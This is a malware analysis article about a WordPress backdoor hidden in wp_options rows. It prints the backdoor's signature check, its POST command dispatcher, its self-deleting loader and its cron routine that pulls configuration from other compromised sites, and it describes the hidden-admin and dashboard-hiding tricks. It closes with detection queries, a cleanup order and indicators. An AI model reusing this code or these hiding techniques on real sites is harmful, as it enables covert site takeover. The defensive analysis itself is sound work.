Most WordPress backdoors are open doors. Anyone who finds the file and knows the parameter name can use it, including a rival attacker or a curious researcher. The backdoor in this article works differently. It ignores every request unless the request carries a valid RSA signature made with a private key that only its operator holds. Finding it does not let you drive it.
It turned up during a database cleanup of several WordPress sites hosted on one account. It had no PHP file of its own in the themes or uploads. The code lived in about a dozen rows of wp_options with ordinary-looking names, plus a daily WP-Cron event. From there it could run arbitrary PHP, log its operator in as an administrator, publish hidden pages, and update its own list of command servers. That list pointed to other compromised WordPress sites.
This article walks through how the code works, step by step: how a signed command is checked, what each command does, how it hides in wp-admin, and the one weak spot in its cryptography. At the end you get read-only commands to check your own sites, a cleanup order and a list of indicators. All case details are sanitized. Site names, hosts and node URLs are removed.
🗄️ Where it lived: rows, not files
The backdoor was spread across a set of options whose names were copied from real plugins and themes, for example max_end_date, search_header, checkPermission, delete_access_token and dropdown_behaviour. One option held the main payload as plain base64 PHP. Others held small pieces: short strings such as function names, a serialized and signed configuration, a timestamp, and the list of page IDs it had created.
Splitting the code like this has two effects. No single row contains a recognizable PHP call chain, and a person scrolling through wp_options sees what looks like plugin leftovers. A small stub elsewhere on the site reads the pieces, writes the decoded payload to a temporary file and includes it. The first thing the payload does is delete that file again:
if(!defined('DOLLY_WAY')){ define('DOLLY_WAY', 'World Domination');}
$real_file = trim(preg_replace('/\(.*$/', '', __FILE__));
unlink($real_file);
The preg_replace strips the (123) : eval()'d code suffix that PHP adds to __FILE__ when code runs through eval. Either way the code ends up running with no file left on disk. After each request, the database is the only place it exists.
🔐 The lock: nothing runs without a signature
The core of the backdoor is a single verification function. It embeds a public key and accepts data only if the signature matches:
function hello_check_sig($sign, $data){
$pubkey = '-----BEGIN PUBLIC KEY-----' . "\n" . 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKLN9azzu/i/...' . "\n" . '-----END PUBLIC KEY-----';
$public_key_res = openssl_get_publickey($pubkey);
$sign = base64_decode($sign);
$ok = openssl_verify($data, $sign, $public_key_res, OPENSSL_ALGO_SHA1);
return $ok == 1;
}
Every entry point goes through this function: commands, configuration updates and even the liveness probe. The site holds only the public half of the key. You can read the whole payload, as we did, and still not be able to produce one valid command.
The design point is that the operator does not have to trust the site, and nobody else can take it over. A plain eval($_POST['x']) shell can be hijacked by the next attacker who finds it. This one cannot, which suggests the operator treats the compromised sites as a long-term asset worth protecting from other attackers.
📡 How a command arrives
The command channel is a plain POST to any page of the site. The payload looks for a POST field whose name is exactly 88 characters long, which is the base64 length of a 512-bit RSA signature. The field's value is the command:
foreach ($_POST as $key => $value) {
if (88 == strlen($key)) {
if (true === hello_check_sig($key, $value)) {
hello_action($value);
}
}
}
Putting the signature in the parameter name is a small trick. There is no fixed parameter like cmd or pass to grep for in logs or a WAF rule, and access logs never record POST bodies anyway. In the log, a command looks like an ordinary POST to the homepage.
The command itself is a base64-encoded, serialized PHP array. Before acting on it, hello_action() compares a host field with the request's own Host header:
$data = unserialize(base64_decode($data));
if ($data['host'] !== $_SERVER['HTTP_HOST']) {
die();
}
Because the host name is inside the signed data, a captured command works only on the site it was signed for. Replaying it against another infected site fails.
🎛️ What a signed command can do
The action field selects one of the following handlers. Most of them are queued on wp_loaded or plugins_loaded so that the WordPress API is available:
exec:eval($data['code']). Arbitrary PHP, which means full control of the site and of anything the PHP user can reach.login: takes the first administrator fromget_users(['role' => 'administrator']), callswp_set_auth_cookie()for it and redirects towp-admin/. No password is needed, and changing passwords does not stop it.new_post: publishes a new page with attacker content and records its ID in the optionpay_cvs_code. It returns the permalink, so the operator knows where the page landed.update_post/delete_post: rewrites the content of any post or page, or deletes it permanently.get_all_posts/get_post: returns IDs, titles, permalinks and content, so the operator can map the site before changing it.category: stores a value indolly_category. That value is later sent to the nodes (see the beacon below), which suggests the operator sorts sites into groups.
Taken together, it is a remote content-management client: list pages, add pages, edit pages, log in when needed, and run code when nothing else will do. The page-related commands point to SEO spam or link placement as the main use.
🛰️ A node list that updates itself
The backdoor does not hard-code a command server. Its configuration, in the option display_vcal, holds an array of nodes: protocol-relative URLs into the /wp-content/ paths of other WordPress sites. In this case the list had 14 entries. Once a day it tries the nodes in random order and asks each one for data.txt:
function dolly_cron(){
$options = unserialize(base64_decode(get_option('display_vcal')));
shuffle($options['nodes']);
foreach ($options['nodes'] as $node_url) {
$request = wp_safe_remote_get('http:' . $node_url . 'data.txt');
if (is_wp_error($request)) { continue; }
$tmp = explode("\n", wp_remote_retrieve_body($request));
if (hello_check_sig($tmp[0], $tmp[1])) {
update_option('display_vcal', $tmp[1]);
return true;
}
}
}
Line one of data.txt is a signature and line two is the new configuration. A new configuration is stored only if its signature is valid, so the nodes act as dumb mirrors. Taking one node down only removes one mirror. Planting a fake data.txt on a node does nothing without the private key. As long as one node still answers, the operator can move the whole network to new nodes.
Scheduling has a fallback. Normally it registers a daily event called dolly_event. If the site sets DISABLE_WP_CRON, it stores a timestamp in ssp_castos_blocks instead and runs the update on the first page load after 24 hours:
function wtf_dolly() {
if (defined('DISABLE_WP_CRON')) {
if (DISABLE_WP_CRON == true) {
$last_time = get_option('ssp_castos_blocks');
if ($last_time + 86400 < time()) {
update_option('ssp_castos_blocks', time());
dolly_cron();
}
}
} else {
if (!wp_next_scheduled('dolly_event')) {
wp_schedule_event(time(), 'daily', 'dolly_event');
}
}
}
add_action('init', 'wtf_dolly');
add_action('dolly_event', 'dolly_cron');
🙈 How it hides in wp-admin
None of the hiding is server-side filtering of data. Most of it is cosmetic, done in the admin pages themselves:
- Plugin list. The option
wooCommerceHelperholds the folder name of the stub plugin. Anall_pluginsfilter removes that entry from the Plugins screen, and anadmin_print_footer_scriptshook removes it from the plugin editor drop-down with jQuery. - Its own options. Another footer script deletes every table row containing one of its option names, so they disappear from the "all options" screen (
options.php):$('tr:contains("max_end_date")').remove();and so on. - Its pages. For every ID in
pay_cvs_code, a footer script removes#post-<ID>from the Pages list. The spam pages are public, but the owner never sees them in the dashboard. - A hidden administrator. A
pre_user_queryhook addsAND user_login != '…'to every user query unless the current user is that account. Aviews_usersfilter then subtracts one from the "All" and "Administrator" counts so the numbers still add up.
Because the page and option hiding happens in the browser, viewing the page source or querying the database directly shows everything. The user filter is real SQL, but it only applies to queries that go through WP_User_Query. A direct SELECT on wp_users is not affected.
🧪 The beacon and the liveness probe
On the front end, the payload enqueues a script whose URL is just the site itself plus a query string: /?<md5 of the stub name>. When that URL is requested, the payload answers with a small JavaScript loader. The loader calls back with a second hash, a random number and the referrer.
The second request returns the real beacon, but only after a series of checks: the visitor must not be logged in, the referrer must not be the site itself, localhost, 127.0.0.1 or empty, and the User-Agent must not match a list of about 100 crawlers, SEO tools and download agents. Visitors who pass all the checks get three <script> tags pointing to counts.php?cat=<category>&t=<encoded host> on three random nodes. The host name is encoded with a small SHA-1 keystream XOR (dolly_encode), so the nodes know which site the visitor came from.
The filtering is aimed squarely at the people most likely to notice: the site owner (logged in), the owner's own testing (no referrer or a local referrer) and crawlers (which would index the injected scripts). An ordinary visitor arriving from a search engine is the target.
Finally, there is a liveness probe. Any request whose URI is longer than 124 characters is treated as a check. The last 123 characters are split into a salt, an MD5 of host plus salt, and a signature. If everything verifies, the site echoes the salt back. Either way the request ends with die(), so any URL on an infected site that is longer than 124 characters returns an empty page. This is a cheap way to test a site from the outside without sending a POST.
🔑 The weak spot: a 512-bit key and SHA-1
The public key starts with MFwwDQYJ…, which is the DER prefix of a 512-bit RSA key, and signatures use OPENSSL_ALGO_SHA1. A 512-bit RSA modulus has been factorable with public tools and rented cloud servers for years. Someone who factors this key could sign their own commands and take over every site that carries it. They could also push a configuration with a node list they control.
For defenders, this is mainly a reminder that a signature check is not a lock you can rely on. If you find this code, remove it. Do not leave it in place because "only the operator can use it". The key is weak, and the operator certainly can.
🔎 Check your own site (read-only)
All of the commands below only read. Run them as the site's own user, with the database credentials from wp-config.php. Replace wp_ with your table prefix. Use the plain mysql client rather than WP-CLI: WP-CLI loads WordPress, and with it the backdoor.
1. Option names this family uses. On a clean site you may legitimately have one or two of these from real plugins, so look at the values before concluding anything:
SELECT option_id, option_name, CHAR_LENGTH(option_value) AS len, autoload
FROM wp_options
WHERE option_name IN ('wooCommerceHelper','pay_cvs_code','display_vcal','ssp_castos_blocks',
'dolly_category','max_end_date','checkPermission','search_header','archived_recipients',
'dropdown_behaviour','delete_access_token','discounted_price_for_set','sampleHeaders',
'pagehookreciprocal');
2. The payload itself, in base64. Base64 shifts with byte alignment, so search for all three encodings of a unique marker. LIKE BINARY keeps the search case-sensitive:
SELECT option_id, option_name, CHAR_LENGTH(option_value) AS len
FROM wp_options
WHERE option_value LIKE BINARY '%aGVsbG9fY2hlY2tfc2ln%'
OR option_value LIKE BINARY '%hlbGxvX2NoZWNrX3NpZ%'
OR option_value LIKE BINARY '%oZWxsb19jaGVja19zaW%'
OR option_value LIKE BINARY '%RE9MTFlfV0FZ%'
OR option_value LIKE BINARY '%RPTExZX1dBW%'
OR option_value LIKE BINARY '%ET0xMWV9XQV%';
3. The cron event. The cron option is a serialized array, so a simple text match is enough:
SELECT option_name, INSTR(option_value, 'dolly_event') AS pos
FROM wp_options
WHERE option_name = 'cron' AND option_value LIKE '%dolly_event%';
4. Every administrator, bypassing WP_User_Query. Compare this list with what the Users screen shows. An account that appears here but not in wp-admin is being hidden:
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered;
5. Files that load it. Search the whole docroot, not only plugins, for the function names and markers:
grep -rlE "hello_check_sig|DOLLY_WAY|dolly_event|wooCommerceHelper|pay_cvs_code" \
/path/to/docroot --include='*.php' 2>/dev/null
6. Traces in the access log. Very long request URIs that return an empty body are the liveness probe. The two-hash query strings are the beacon:
awk 'length($7) > 124 {print $4, $1, $9, $10, substr($7,1,60)}' /path/to/access_log | tail -50
grep -E 'GET /\?[0-9a-f]{32}(&| )' /path/to/access_log | tail -20
7. Hidden pages. If pay_cvs_code exists, read it and look at the pages it lists. They are public even though wp-admin hides them:
SELECT option_value FROM wp_options WHERE option_name = 'pay_cvs_code';
SELECT ID, post_title, post_status, post_date FROM wp_posts WHERE post_type = 'page' ORDER BY post_date DESC LIMIT 50;
🧹 Cleaning it in the right order
The order matters, because the payload runs on every request until its rows are gone.
- Take a full database dump first, then a separate dump of only the rows you are about to delete. Check that both files are not empty. If you are ever asked what was removed, these dumps are your answer.
- Remove the loader stub named in
wooCommerceHelperand any file found in step 5. Do this before the database cleanup, so the code cannot run between your changes. - Delete the option rows found in checks 1 and 2. Delete by
option_idfrom your evidence list, not by a broadLIKE. - Remove the
dolly_eventcron event, then list the cron events again to confirm it is gone. A persistent object cache (Redis, Memcached) can write a stale copy of thecronoption back, so flush it and check again after a few minutes. - Review the pages listed in
pay_cvs_codeand every administrator from check 4. Decide which accounts are yours before deleting anything. With the filter gone, the hidden account now appears in wp-admin too. - Rotate the salts in
wp-config.php. This invalidates every login cookie, including any issued through thelogincommand. Then change the administrator passwords. - Verify from outside: a long URI should return the normal page or a 404, not an empty 200, and
/?<32 hex characters>should return the homepage, not JavaScript.
🧾 Indicators of compromise
- Constant
DOLLY_WAYwith the valueWorld Domination - Functions
hello_check_sig,hello_action,dolly_cron,wtf_dolly,dolly_encode,hello_ua - WP-Cron event
dolly_event(daily) - Options
wooCommerceHelper,pay_cvs_code,display_vcal,ssp_castos_blocks,dolly_category, plus copied names such asmax_end_date,search_header,checkPermissionholding base64 data - Embedded 512-bit RSA public key starting
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKLN9azzu/i/HYvYc+0CW5DViGIuCJbz - Hard-coded hidden login name
2a255d3ed1fafe0419ade1in thepre_user_queryfilter (the hidden account on a given site may use a different name) - XOR keystream constants
SAFgdswsfSAFgvbandadfasddsSAAfgdca - POST requests with an 88-character parameter name; GET requests with a URI longer than 124 characters that return an empty body
- Outbound requests from the site to
/wp-content/…/data.txton other WordPress sites; visitor-side scripts loadingcounts.php?cat=…&t=…
💡 Takeaways for defenders
- A clean filesystem is not a clean site. This backdoor needed only a tiny stub. Everything else lived in
wp_options, and it deleted its own temp file after every run. - Signed commands change the threat model. The site can be read completely and still not be controlled by anyone except the key holder. Remove the code; never "monitor" it in place.
- wp-admin is not a source of truth. Options, pages, plugins and an administrator were all hidden in the dashboard. Query the database directly.
- Password changes alone do not lock it out. The
logincommand issues a fresh cookie for any administrator. Remove the code first, then rotate salts and passwords. - Your site may be someone else's node. The command servers were other compromised WordPress sites. A
data.txtyou did not create inwp-contentdeserves the same attention as a PHP shell.
❓ FAQ
Why did I not find any malicious PHP file?
Because the main code is not a file. It is stored base64-encoded across several wp_options rows and loaded by a small stub, which then deletes its temporary file. Search the database values (check 2 above), not only the filesystem.
Can someone else use this backdoor if they find it?
Not without the private key. Every command and configuration update must carry a valid RSA signature. The key is only 512 bits, though, so factoring it is realistic for a determined attacker. That is another reason to remove it rather than leave it.
Is changing the admin password enough?
No. The login command sets an authentication cookie directly, without a password, and exec runs any PHP. Remove the code and the cron event first, then rotate the salts in wp-config.php and change all administrator passwords.
Why does a very long URL on my site show a blank page?
The backdoor treats every request URI longer than 124 characters as a liveness probe and ends it with die(). After cleanup, such URLs should return your normal page or a 404.
What does the "World Domination" string mean?
It is the value of the DOLLY_WAY constant, a guard that stops the code from being defined twice in the same request. It does nothing by itself, but it is a reliable marker for this family.